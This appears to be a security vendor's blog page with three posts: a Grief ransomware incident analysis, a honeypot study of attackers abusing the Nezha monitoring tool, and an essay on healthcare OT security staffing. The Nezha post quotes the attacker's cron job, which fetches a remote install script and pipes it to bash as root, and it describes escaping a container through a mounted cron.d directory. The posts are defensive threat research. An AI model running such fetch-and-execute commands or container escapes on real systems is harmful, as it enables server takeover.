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May 25, 2022

Understanding Grief Ransomware Attacks

Discover the latest insights on Grief ransomware and how to protect your organization. Stay informed on evolving cybersecurity threats with the cyber experts.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dr. Oakley Cox-Robinson
Senior Director of Product
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25
May 2022

The Grief ransomware strain, also referred to as PayOrGrief, quickly gained a reputation for disruption in mid-to-late 2021. The gang behind the malware used quadruple-extortion ransomware tactics and targeted a range of victims including municipalities and school districts.

In July 2021, just weeks after the strain was first reported to cyber security teams, Grief successfully targeted Thessaloniki, the second largest city in Greece. Faced with a $20 million ransom demand, the municipality’s security team was forced to shut down all of its websites and public-facing services and launch a full investigation into the breach.

Double act: Grief and DoppelPaymer

From its emergence in May 2021, Grief used novel malware which confounded security tools trained on historical attacks. By July, however, the sophistication and efficiency of the group’s attacks led many to suspect that Grief’s operators had experience beyond their supposed two months of operation.

Grief is now widely reported to be a rebrand of the DoppelPaymer ransomware gang, which ended its operations in May 2021 and was believed to be affiliated with the Russian ransomware gang Evil Corp. After adopting the new moniker, however, Grief regularly blew past traditional security tools, amassing well over $10 million in ransom payments in just four months.

Adaptations and rebrands are common techniques adopted by criminal gangs using the Ransomware-as-a-Service business model. The success of Grief’s rebrand illustrates how rapidly a ransomware group can update its attacks and render them unrecognizable to signature-based tools.

Revealing Grief’s tricks with Cyber AI Analyst

In July 2021, PayOrGrief targeted a European manufacturing company which had Darktrace deployed across its network. Darktrace’s early detection of the attack, along with the real-time visibility into its lifecycle offered by Darktrace’s Cyber AI Analyst, meant that each stage of the attack was clear to see.

Figure 1: Timeline of the PayOrGrief attack

The initial intrusion compromised four devices, which Darktrace detected when these devices connected to rare external IPs and downloaded encoded text files. It is likely that the devices were compromised as the result of a targeted phishing campaign, which are often used in Grief attacks as a way of injecting malware such as Dridex onto devices. If deployed within the targeted organization, Antigena Email would have identified the phishing campaign and halted it, before it reached employee inboxes. In this case, however, the attack continued.

Following the initial compromise, C2 (Command and Control) connections were made over an encrypted channel using invalid SSL certificates. An upload of 50MB of data was made from one of the infected devices to the company’s corporate server, which gave the attackers access to the company’s crown jewels: its most sensitive data. From this privileged position, and with keep-alive beacons in place, the attack was ready for detonation.

Several devices were detected attempting to upload data totaling more than 100 GB to the external file storage platform, Mega, using encrypted HTTPS on port 443. However, the attackers did not receive the total package of data they had expected. The organization had deployed Darktrace’s Autonomous Response to protect its key assets and most sensitive data. The AI recognized the anomalous behavior as a significant deviation from the business’s normal ‘pattern of life’ and autonomously blocked uploads from protected devices, preventing exfiltration wherever it was able to do so.

Figure 2: Data exfiltration from a single device, investigated by Cyber AI Analyst

The attackers then continued to spread through the digital environment. Using ‘Living off the Land’ techniques including RDP and SMB, they performed internal reconnaissance, escalated their privileges and moved laterally to additional digital assets. With access to new admin credentials, just ten hours after the initial C2 communications, the attackers commenced ransomware encryption.

It’s highly possible, therefore, that Grief has targeted Darktrace customers previously and been neutralized too early for the attack to be identified and attributed. In this instance, the organization had deployed Autonomous Response only on certain areas of the network, and we are therefore able to see how the attack progressed on unprotected devices.

Unusual suspects

The Indicators of Compromise (IoCs) for Grief ransomware have now been incorporated by many traditional security tools, but this is a short-term solution, and won’t account for further changes in both threat actor tactics and the digital environments they target. Once the Grief moniker has been exhausted, it is more than likely that another will be adopted in its place.

The AI-driven approach to cyber security tackles threats regardless of when and where they arrive, or what name they arrive under. By focusing on developing its sophisticated understanding of the entire digital estate, Darktrace’s Autonomous Response targets specific anomalies with specific, proportionate responses, even when they are part of entirely novel attacks. And when given the freedom to take action against these threats the moment they’re detected, Autonomous Response can ensure that organizations stay protected even when human teams are unavailable.

Thanks to Darktrace analyst Beverly McCann for her insights on the above threat find.

Technical details

Darktrace model detections

  • Device / Suspicious SMB Scanning Activity
  • Device / New User Agents
  • Anomalous Server Activity / Rare External from Server
  • Compliance / External Windows Communications
  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / Anomalous SSL without SNI to New External
  • Anomalous Connection / Rare External SSL Self-Signed
  • Anomalous Connection / Multiple Connections to New External TCP Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Compliance / Remote Management Tool on Server
  • Anomalous Server Activity / Outgoing from Server
  • Anomalous Connection / Multiple HTTP POSTs to Rare Hostname
  • Anomalous Connection / Data Sent to Rare Domain
  • Anomalous Connection / Lots of New Connections
  • Unusual Activity / Unusual File Storage Data Transfer
  • Unusual Activity / Enhanced Unusual External Data Transfer [Enhanced Monitoring]
  • Anomalous Connection / Uncommon 1GiB Outbound
  • Unusual Activity / Unusual External Data to New Ips
  • Anomalous Connection / SMB Enumeration
  • Multiple Device Correlations / Behavioral Change Across Multiple Devices
  • Device / New or Uncommon WMI Activity
  • Unusual Activity / Unusual External Connections
  • Device / ICMP Address Scan
  • Anomalous Connection / Unusual Admin RDP Session
  • Compliance / SMB Version 1 Usage
  • Anomalous Connection / Unusual SMB Version 1
  • Anomalous File / Internal / Additional Extension Appended to SMB File
  • Unusual Activity / Anomalous SMB Move and Write
  • Compromise / Ransomware / Suspicious SMB Activity [Enhanced Monitoring]
  • Anomalous Connection / Suspicious Read Write Ratio and Unusual SMB
  • Anomalous Connection / New or Uncommon Service Control
  • Device / New or Unusual Remote Command Execution
  • User / New Admin Credentials On Client
  • Device / New or Uncommon SMB Named Pipe
  • Device / Multiple Lateral Movement Model Breaches [Enhanced Monitoring]
  • Anomalous Connection / Suspicious Read Write Ratio
  • Device / SMA Lateral Movement
  • Anomalous File / Internal / Unusual Internal EXE File Transfer
  • Anomalous Server Activity / Unusual Unresponsive Server
  • Device / Internet Facing Device with High Priority Alert
  • Multiple Device Correlations / Spreading Unusual SMB Activity
  • Multiple Device Correlations / Multiple Devices Breaching the Same Model

Darktrace Autonomous Response alerts

  • Antigena / Network / Insider Threat / Antigena Network Scan Block
  • Antigena / Network / Insider Threat / Antigena Breaches Over Time Block
  • Antigena / Network / Significant Anomaly / Antigena Significant Anomaly Block
  • Antigena / Network / Significant Anomaly / Antigena Breaches over Time Block
  • Antigena / Network / Insider Threat / Antigena Large Data Volume Outbound Block
  • Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Client Block
  • Antigena / Network / Insider Threat / Antigena SMB Enumeration Block
  • Antigena / Network / Significant Anomaly / Antigena Controlled and Model Breach
  • Antigena / Network / Insider Threat / Antigena Internal Anomalous File Activity
  • Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block
  • Antigena / Network / External Threat / Antigena Ransomware Block
  • Antigena / Network / External Threat / SMB Ratio Antigena Block

MITRE ATT&CK techniques observed

Reconnaissance
T1595 — Active Scanning

Resource Development
T1608 — Stage Capabilities

Initial Access
T1190 — Exploit Public-Facing Application

Persistence
T1133 — External Remote Services

Defense Evasion
T1079 — Valid Accounts

Discovery
T1046 — Network Service Scanning
T1083 — File and Directory Discovery
T1018 — Remote System Discovery

Lateral Movement
T1210 — Exploitation of Remote Services
T1080 — Taint Shared Content
T1570 — Lateral Tool Transfer
T1021 — Remote Services

Command and Control
T1071 — Application Layer Protocol
T1095 — Non-Application Layer Protocol
T1571 — Non-Standard Port

Exfiltration
T1041 — Exfiltration over C2 Channel
T1567 — Exfiltration Over Web Service
T1029 — Scheduled Transfer


Impact
T1486 — Data Encrypted for Impact
T1489 — Service Stop
T1529 — System Shutdown/Reboot

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dr. Oakley Cox-Robinson
Senior Director of Product

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

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What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

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About the author
Daniel Simonds
Director of Operational Technology
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